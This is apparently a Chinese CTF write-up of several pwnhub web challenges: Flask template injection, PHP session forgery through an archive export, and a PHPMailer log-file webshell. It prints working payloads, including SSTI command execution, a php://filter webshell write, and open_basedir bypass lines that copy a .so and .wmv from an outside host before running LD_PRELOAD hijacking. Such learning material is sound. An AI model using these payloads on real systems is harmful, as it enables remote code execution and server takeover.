0x00 前言
打了一下pwnhub补充了一下知识库,发现自己还是太菜了,有些地方确实不懂
公开赛
Templateplay
主页没看到什么注入点 js改个UA就进  很明显的ssti  过滤很多,先fuzz一下 直接出来了… 爽局  用fuzz的payload直接cat flag会500不怎么理解 最后用nl * 才看到
{{self._TemplateReference__context.joiner.__init__.__globals__.os.popen("nl+/www/config/*").read()}}
 复盘还是看一下源码
from flask import Flask, render_template_string, render_template
from flask import request
import re
rapp = Flask(__name__)
@app.route("/", methods=['GET', 'POST'])
def index():
return render_template("index.html")
@app.route("/view_template")
def view_template():
ua = request.headers.get("User-Agent")
if ua != "Admin/5.0":
return render_template_string('''<p>user-agent error</p>''')
exit(0)
string = request.values.get("string")
patter1 = re.compile(r"\{\{[a-z]?_[a-z]?\.|[a-z]?\"[a-z]*\.|[a-z]?\(.?\)\.|[a-z]?\[.?\]\.|[a-z]?\'[a-z]?\.|\|")
unsafe_string = patter1.findall(string)
if unsafe_string:
return render_template_string('''<p>hello hacker</p>''')
exit(0)
patter = re.compile(r"\{\{[a-z]{1,4}\..*|\{\{[0-9\*\+-]{1,10}\}\}|[0-9a-z]*")
template_str = patter.findall(string, 0, 100)
if template_str[0] == "":
return render_template_string('''<p>You input string unavailable</p>''')
exit(0)
template = ''' <div class="center-content error"> <h1>Template generate demo</h1> <h3>%s</h3> </div> ''' % (template_str[0])
return render_template_string(template), 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port='5000')
抽象看一下hack_word正则
\{\{[a-z]?_[a-z]?\.
[a-z]?\"[a-z]*\. #字母{0:1}"字母{0:}.
[a-z]?\(.?\)\.
[a-z]?\[.?\]\.
[a-z]?\'[a-z]?\. #字母{0:1}'字母{0:1}.
\|
必须索引到的正则 or You input string unavailable
\{\{[a-z]{1,4}\..*
\{\{[0-9\*\+-]{1,10}\}\}
[0-9a-z]*
看看官方的wp
 
{{ads.__init__.__globals__.__builtins__.__import__("os").popen("cat+config/flag.txt").read()}}
一步步过一下    get新姿势 可能运气好,感觉这道并不是特别折磨
MyNotes
世面见得少,个人心目中这道比内部赛的都要难一些 555 远程不让log in了 本地搭了一个 比较直接 session admin校验过就给flag  然后在lib找到一些关键的函数
function is_admin() {
if (!isset($_SESSION['admin'])) {
return false;
}
return $_SESSION['admin'] === true;
}
全局并没发现能直接给$_SESSION[“admin”]赋值的  开始想歪了点,以为要用到readfile触发phar反序列化,但是metadata不可控,后面就天马行空了 
php session序列化机制
参考文章
https://xz.aliyun.com/t/6640
 序列化处理器默认为php 
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
?session=kidult
 以 | 为分隔符,前面为键名,后面为经过序列化后的值
在靶机环境新建一个用户test一下观察一下session  
user|s:6:“kidult”;notes|a:1:{i:0;a:3:{s:5:“title”;s:1:“a”;s:4:“body”;s:12:“hello,kidult”;s:2:“id”;s:64:“79307b7881bfd3f2840fb8e07e6410964f6b7e34b318750f284cd8a383804211”;}}
可见用户名、notes信息都经序列化后存放在session文件中 而我们的目标是 $_SESSION[‘admin’] === true  布尔值序列化  那么我们是不是可以自己构造一个session文件使 admin|b:1; 存在呢 注意到在export.php中我们是能自己写文件的
a
r
c
h
i
v
e
?
>
o
p
e
n
(
archive->open(
archive?>open(path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
<?php
require_once('init.php');
if (!is_logged_in()) {
redirect('/?page=home');
}
$notes = get_notes();
if (!isset($_GET['type']) || empty($_GET['type'])) {
$type = 'zip';
} else {
$type = $_GET['type'];
}
$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename);
$path = TEMP_DIR . '/' . $filename;
if ($type === 'tar') {
$archive = new PharData($path);
$archive->startBuffering();
} else {
$archive = new ZipArchive();
$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}
for ($index = 0; $index < count($notes); $index++) {
$note = $notes[$index];
$title = $note['title'];
$title = preg_replace('/[^!-~]/', '-', $title);
$title = preg_replace('#[/\\?*.]#', '-', $title);
$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}
if ($type === 'tar') {
$archive->stopBuffering();
} else {
$archive->close();
}
header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);
这里很巧妙的一点 传 ?type=. 进去 . 和前面的 . 拼接成 .. 被替换为空 这样如果我们的username 为 sess_ 拼接上后面的就成为了一个session文件名了 sess_xxxxxxx  localtest一下 可以看到 0_aa之前都是乱码 那么可以通过 |N;来闭合前面的 title设置为 |N;admin|b:1; 就能达成我们的目的 最后改一下cookie即可伪造成为admin用户 
brain.md
1.建立用户名sess_ 2.title设置为|N;admin|b:1; 3.访问 /export.php?type=. 下载我们伪造的session文件 4.将cookie改成session文件名sess_ 后面的内容 
done
内部赛
MockingMail
一开始确实傻不拉几的set smtp.qq.com 还把账号密码都set了… 为我自己的智商感到着急… 
看了一下phpmail 版本6.4.1
https://cn-sec.com/archives/713252.html
CVE-2021-3603  validaddress传参可执行php代码  当然没那么简单让你直接rce,很多都被ban了  接着往下走 注意smtp_logs方法我们是可以写文件的  近乎原题 pathinfo绕过 参考文章
https://www.anquanke.com/post/id/253383
关于pathinfo 的绕过基本上都是针对于后缀名的检测,利用 1.php/. 绕过对后缀名的检测,pathinfo 获取的文件的后缀名为NULL
实操一下看到extension检测是为空的 1.php也成功写入了  
function smtp_logs($log_name){
$log_path = 'logs/'.md5("Mockingjay".$_SERVER['REMOTE_ADDR']);
@mkdir($log_path);
chdir($log_path);
file_put_contents($log_path.'/index.php', '<?php echo "Go,Way!";?>');
if(isset($log_name)){
$log_name = isset($log_name) ? $log_name : date('-Y-m-d');
$smtp_log = $_SESSION['smtpserver']."\n".$_SESSION['smtpuser']."\n".$_SESSION['smtppass'];
$smtp_log = htmlspecialchars($smtp_log, ENT_HTML401 | ENT_QUOTES);
$blacklists = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml");
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), $blacklists, true)) {
file_put_contents($log_name, $smtp_log);
$filepath = $log_path.'/'.$log_name;
echo $filepath;
}
}
}
现在我们可以写入后缀名为php的文件了,那么只需绕过htmlspecialchars即可两个参数均可控 file_put_contents($log_name, $smtp_log); 🐖🧠过载 把file_put_cpntents套伪协议绕过整忘了
https://whippet0.github.io/2020/09/30/file_put_contents/
当初有一道绕过死亡exit()的题目  插点官方wp的话  当初交内部赛的wp写的太潦草了,本来想重拿比赛环境再写一份 不知道哪个缺德崽把源码删了… 现在settings中写入base64_encode的shell 
/index.php?addr=php://filter/write=convert.base64-decode/resource=shell.php/.&select=stmp_logs
发包之后logs/xxx/目录下就成功写码了  蚁剑插件可以直接bypass  hint: flag in /root/
https://www.jianshu.com/p/71cb0ee0f0ea
sudo提权 
  done
反思
本来想手动挡bypass,也想用imagick处理.wmv启动新进程劫持 但由于只知道原理没实践过,一开始没成功 --> 还是自动挡好用
看一下官方wp 先是open_basedir绕过 然后将VPS上的文件copy过来 (当初傻不拉几以为 xx.wmv文件不存在都没事…) 然后putenv + new Imagick(‘xxx.wmv’)即可劫持成功
?cmd=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');ch
dir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://xxxxx
/hack.so','/tmp/hack.so');copy('http://xxxx/hack.wmv','/tmp/hack.wmv');
?cmd=mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');ch
dir('..');chdir('..');chdir('..');ini_set('open_basedir','/');putenv("LD_PRELOAD=/tmp/h
ack.so");$img = new Imagick('/tmp/hack.wmv');
0x01 rethink
沉住气,果真还得自己实践一下
|